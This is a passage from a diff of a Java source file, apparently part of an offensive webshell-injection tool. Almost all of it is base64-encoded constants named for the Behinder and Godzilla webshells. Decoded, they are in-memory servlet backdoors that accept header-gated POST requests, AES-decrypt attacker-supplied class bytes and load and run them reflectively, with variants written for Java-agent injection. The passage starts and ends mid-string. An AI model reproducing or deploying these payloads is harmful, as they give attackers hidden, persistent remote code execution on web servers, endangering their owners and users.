mF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksIG5ldyBPYmplY3RbXXtldmlsY2xhc3NfYnl0ZSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOwoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String BEHINDER_SHELL = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQl0cnkgewoJCQkJT2JqZWN0IHZhbHVlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtIRUFERVJfS0VZfSk7CgkJCQlpZiAodmFsdWUgIT0gbnVsbCAmJiB2YWx1ZS50b1N0cmluZygpLmNvbnRhaW5zKEhFQURFUl9WQUxVRSkpIHsKCQkJCQlPYmplY3QgbWV0aG9kID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldE1ldGhvZCIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChtZXRob2QgIT0gbnVsbCAmJiBtZXRob2QudG9TdHJpbmcoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCQlqYXZhLnV0aWwuSGFzaE1hcCBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICBzZXNzaW9uICAgICA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCByZXNwKTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoZ2V0TWV0aG9kQW5kSW52b2tlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRSZWFkZXIiLCBudWxsLCBudWxsKSwgInJlYWRMaW5lIiwgbnVsbCwgbnVsbCkudG9TdHJpbmcoKSk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksIG5ldyBPYmplY3RbXXtldmlsY2xhc3NfYnl0ZSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOwoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String BEHINDER_SHELL_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQl0cnkgewoJCQkJT2JqZWN0IHZhbHVlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtIRUFERVJfS0VZfSk7CgkJCQlpZiAodmFsdWUgIT0gbnVsbCAmJiB2YWx1ZS50b1N0cmluZygpLmNvbnRhaW5zKEhFQURFUl9WQUxVRSkpIHsKCQkJCQlPYmplY3QgbWV0aG9kID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldE1ldGhvZCIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChtZXRob2QgIT0gbnVsbCAmJiBtZXRob2QudG9TdHJpbmcoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCQlqYXZhLnV0aWwuSGFzaE1hcCBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICBzZXNzaW9uICAgICA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCByZXNwKTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoZ2V0TWV0aG9kQW5kSW52b2tlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRSZWFkZXIiLCBudWxsLCBudWxsKSwgInJlYWRMaW5lIiwgbnVsbCwgbnVsbCkudG9TdHJpbmcoKSk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ=="; + + public static String BEHINDER_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiAgICAgICAgIHNlc3Npb24gICAgID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7CgkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGF0aFBhdHRlcm4gPSAiJXMiOwoJCWlmIChyZXF1ZXN0LmdldFJlcXVlc3RVUkkoKS5jb250YWlucyhwYXRoUGF0dGVybikpIHsKCQkJamF2YS51dGlsLk1hcCBvYmogPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJb2JqLnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOwoJCQlvYmoucHV0KCJyZXNwb25zZSIsIHJlc3BvbnNlKTsKCQkJb2JqLnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoJCQlDbGFzc0xvYWRlciBsb2FkZXIgPSB0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKTsKCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikgJiYgcmVxdWVzdC5nZXRIZWFkZXIoIiVzIikuZXF1YWxzKCIlcyIpKSB7CgkJCQl0cnkgewoJCQkJCVN0cmluZyBrID0gIiVzIjsKCQkJCQlzZXNzaW9uLnB1dFZhbHVlKCJ1Iiwgayk7CgkJCQkJamF2YS5sYW5nLkNsYXNzTG9hZGVyIHN5c3RlbUxvYWRlciA9IGphdmEubGFuZy5DbGFzc0xvYWRlci5nZXRTeXN0ZW1DbGFzc0xvYWRlcigpOwoJCQkJCUNsYXNzICAgICAgICAgICAgICAgICBjaXBoZXJDbHMgICAgPSBzeXN0ZW1Mb2FkZXIubG9hZENsYXNzKCJqYXZheC5jcnlwdG8uQ2lwaGVyIik7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgIGMgICAgICAgICAgICA9IGNpcGhlckNscy5nZXREZWNsYXJlZE1ldGhvZCgiZ2V0SW5zdGFuY2UiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoKGphdmEubGFuZy5PYmplY3QpIGNpcGhlckNscywgbmV3IE9iamVjdFtdeyJBRVMifSk7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgIGtleU9iaiAgICAgICA9IHN5c3RlbUxvYWRlci5sb2FkQ2xhc3MoImphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMiKS5nZXREZWNsYXJlZENvbnN0cnVjdG9yKG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzcywgU3RyaW5nLmNsYXNzfSkubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde2suZ2V0Qnl0ZXMoKSwgIkFFUyJ9KTsKCQkJCQk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGluaXRNZXRob2QgPSBjaXBoZXJDbHMuZ2V0RGVjbGFyZWRNZXRob2QoImluaXQiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIHN5c3RlbUxvYWRlci5sb2FkQ2xhc3MoImphdmEuc2VjdXJpdHkuS2V5Iil9KTsKCQkJCQlpbml0TWV0aG9kLmludm9rZShjLCBuZXcgT2JqZWN0W117bmV3IEludGVnZXIoMiksIGtleU9ian0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgIGRvRmluYWxNZXRob2QgPSBjaXBoZXJDbHMuZ2V0RGVjbGFyZWRNZXRob2QoImRvRmluYWwiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KTsKCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBib3MgICAgICAgICAgID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJYnl0ZVtdICAgICAgICAgICAgICAgICAgICAgICAgYnVmICAgICAgICAgICA9IG5ldyBieXRlWzUxMl07CgkJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuZ3RoICAgICAgICA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKS5yZWFkKGJ1Zik7CgkJCQkJd2hpbGUgKGxlbmd0aCA+IDApIHsKCQkJCQkJYm9zLndyaXRlKGJ1ZiwgMCwgbGVuZ3RoKTsKCQkJCQkJbGVuZ3RoID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpLnJlYWQoYnVmKTsKCQkJCQl9CgkJCQkJYnl0ZVtdIHJlcXVlc3RCb2R5ID0gYm9zLnRvQnl0ZUFycmF5KCk7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgIEJhc2U2NCAgPSBsb2FkZXIubG9hZENsYXNzKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQkJCU9iamVjdCBEZWNvZGVyID0gQmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQkJCXJlcXVlc3RCb2R5ID0gKGJ5dGVbXSkgRGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtuZXcgU3RyaW5nKHJlcXVlc3RCb2R5KX0pOwoJCQkJCX0gY2F0Y2ggKFRocm93YWJsZSBleCkgewoJCQkJCQlDbGFzcyAgQmFzZTY0ICA9IGxvYWRlci5sb2FkQ2xhc3MoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJCQkJT2JqZWN0IERlY29kZXIgPSBCYXNlNjQuZ2V0RGVjbGFyZWRNZXRob2QoImdldERlY29kZXIiLCBuZXcgQ2xhc3NbMF0pLmludm9rZShudWxsLCBuZXcgT2JqZWN0WzBdKTsKCQkJCQkJcmVxdWVzdEJvZHkgPSAoYnl0ZVtdKSBEZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoRGVjb2RlciwgbmV3IE9iamVjdFtde25ldyBTdHJpbmcocmVxdWVzdEJvZHkpfSk7CgkJCQkJfQoJCQkJCWJ5dGVbXSAgICAgICAgICAgICAgICAgICBidWYgICAgICAgICAgPSAoYnl0ZVtdKSBkb0ZpbmFsTWV0aG9kLmludm9rZShjLCBuZXcgT2JqZWN0W117cmVxdWVzdEJvZHl9KTsKCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmaW5lTWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgamF2YS5uaW8uQnl0ZUJ1ZmZlci5jbGFzcywgamF2YS5zZWN1cml0eS5Qcm90ZWN0aW9uRG9tYWluLmNsYXNzfSk7CgkJCQkJZGVmaW5lTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuQ29uc3RydWN0b3IgY29uc3RydWN0b3IgPSBqYXZhLnNlY3VyaXR5LlNlY3VyZUNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzfSk7CgkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQlqYXZhLmxhbmcuQ2xhc3NMb2FkZXIgY2wgPSAoamF2YS5sYW5nLkNsYXNzTG9hZGVyKSBjb25zdHJ1Y3Rvci5uZXdJbnN0YW5jZShuZXcgT2JqZWN0W117bG9hZGVyfSk7CgkJCQkJamF2YS5sYW5nLkNsYXNzICAgICAgIGMgID0gKGphdmEubGFuZy5DbGFzcykgZGVmaW5lTWV0aG9kLmludm9rZSgoamF2YS5sYW5nLk9iamVjdCkgY2wsIG5ldyBPYmplY3RbXXtudWxsLCBqYXZhLm5pby5CeXRlQnVmZmVyLndyYXAoYnVmKSwgbnVsbH0pOwoJCQkJCWMubmV3SW5zdGFuY2UoKS5lcXVhbHMob2JqKTsKCQkJCX0gY2F0Y2ggKGphdmEubGFuZy5FeGNlcHRpb24gZSkgewoJCQkJCWUucHJpbnRTdGFja1RyYWNlKCk7CgkJCQl9IGNhdGNoIChqYXZhLmxhbmcuRXJyb3IgZXJyb3IpIHsKCQkJCQllcnJvci5wcmludFN0YWNrVHJhY2UoKTsKCQkJCX0KCQkJCXJldHVybjsKCQkJfQoJCX0="; + + public static String GODZILLA_SHELL = "ewoJCQl0cnkgewoJCQkJT2JqZWN0IHJlcSAgPSAkMTsKCQkJCU9iamVjdCByZXNwID0gJDI7CgkJCQlPYmplY3QgdmFsdWUgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0hFQURFUl9LRVl9KTsKCQkJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQkJCVN0cmluZyBwYXNzID0gUEFTUzsKCQkJCQlTdHJpbmcgbWQ1ICA9IG1kNShwYXNzICsgeGMpOwoJCQkJCWJ5dGVbXSBkYXRhID0gYmFzZTY0RGVjb2RlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRQYXJhbWV0ZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117cGFzc30pLnRvU3RyaW5nKCkpOwoJCQkJCWRhdGEgPSB4KGRhdGEsIGZhbHNlKTsKCQkJCQlpZiAocGF5bG9hZCA9PSBudWxsKSB7CgkJCQkJCWphdmEubmV0LlVSTENsYXNzTG9hZGVyICB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQlkZWZNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJcGF5bG9hZCA9IChDbGFzcykgZGVmTWV0aG9kLmludm9rZSh1cmxDbGFzc0xvYWRlciwgbmV3IE9iamVjdFtde2RhdGEsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGRhdGEubGVuZ3RoKX0pOwoJCQkJCX0gZWxzZSB7CgkJCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSBwYXlsb2FkLm5ld0luc3RhbmNlKCk7CgkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIHdyaXRlciA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0V3JpdGVyIiwgbnVsbCwgbnVsbCk7CgkJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJCWYuZXF1YWxzKGRhdGEpOwoJCQkJCQlmLmVxdWFscyhyZXEpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117bWQ1LnN1YnN0cmluZygwLCAxNil9KTsKCQkJCQkJZi50b1N0cmluZygpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117YmFzZTY0RW5jb2RlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKX0pOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117bWQ1LnN1YnN0cmluZygxNil9KTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJjbG9zZSIsIG51bGwsIG51bGwpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String GODZILLA_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCUNsYXNzTG9hZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlciAgICAgID0gdGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCk7CgkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGF0aFBhdHRlcm4gPSAiJXMiOwoKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgIHBhc3MgICAgPSAiJXMiOwoJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICBrZXkgICAgID0gIiVzIjsKCQkJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciA9IHBhc3MgKyBrZXk7CgkJCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXNzaW9uIHNlc3Npb24gPSByZXF1ZXN0LmdldFNlc3Npb24oKTsKCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oc2Vzc2lvbik7CgoJCQkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJCQltLnVwZGF0ZShwYXNzU3RyLmdldEJ5dGVzKCksIDAsIHBhc3NTdHIubGVuZ3RoKCkpOwoJCQkJCVN0cmluZyBtZDUgPSBuZXcgamF2YS5tYXRoLkJpZ0ludGVnZXIoMSwgbS5kaWdlc3QoKSkudG9TdHJpbmcoMTYpLnRvVXBwZXJDYXNlKCk7CgoJCQkJCVN0cmluZyBicyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpOwoKCQkJCQlDbGFzcyAgYmFzZTY0OwoJCQkJCWJ5dGVbXSB2YWx1ZSA9IG51bGw7CgkJCQkJdHJ5IHsKCQkJCQkJYmFzZTY0ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwoJCQkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5nZXREZWNsYXJlZE1ldGhvZCgiZ2V0RGVjb2RlciIsIG5ldyBDbGFzc1tde251bGx9KS5pbnZva2UobnVsbCwgbmV3IE9iamVjdFtde251bGx9KTsKCQkJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQkJdHJ5IHsKCQkJCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKCQkJCQkJCU9iamVjdCBkZWNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQkJCQl2YWx1ZSA9IChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUyKSB7CgkJCQkJCX0KCQkJCQl9CgoJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrZXkuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsKCQkJCQl2YWx1ZSA9IGMuZG9GaW5hbCh2YWx1ZSk7CgoJCQkJCWlmIChzZXNzaW9uLmdldEF0dHJpYnV0ZSgiZ3oiKSA9PSBudWxsKSB7CgkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBkZWZpbmVNZXRob2QgPSBqYXZhLmxhbmcuQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBqYXZhLm5pby5CeXRlQnVmZmVyLmNsYXNzLCBqYXZhLnNlY3VyaXR5LlByb3RlY3Rpb25Eb21haW4uY2xhc3N9KTsKCQkJCQkJZGVmaW5lTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gamF2YS5zZWN1cml0eS5TZWN1cmVDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZENvbnN0cnVjdG9yKG5ldyBDbGFzc1tde2phdmEubGFuZy5DbGFzc0xvYWRlci5jbGFzc30pOwoJCQkJCQljb25zdHJ1Y3Rvci5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQlqYXZhLmxhbmcuQ2xhc3NMb2FkZXIgY2wgICAgPSAoamF2YS5sYW5nLkNsYXNzTG9hZGVyKSBjb25zdHJ1Y3Rvci5uZXdJbnN0YW5jZShuZXcgT2JqZWN0W117bG9hZGVyfSk7CgkJCQkJCWphdmEubGFuZy5DbGFzcyAgICAgICBjbGF6eiA9IChqYXZhLmxhbmcuQ2xhc3MpIGRlZmluZU1ldGhvZC5pbnZva2UoKGphdmEubGFuZy5PYmplY3QpIGNsLCBuZXcgT2JqZWN0W117bnVsbCwgamF2YS5uaW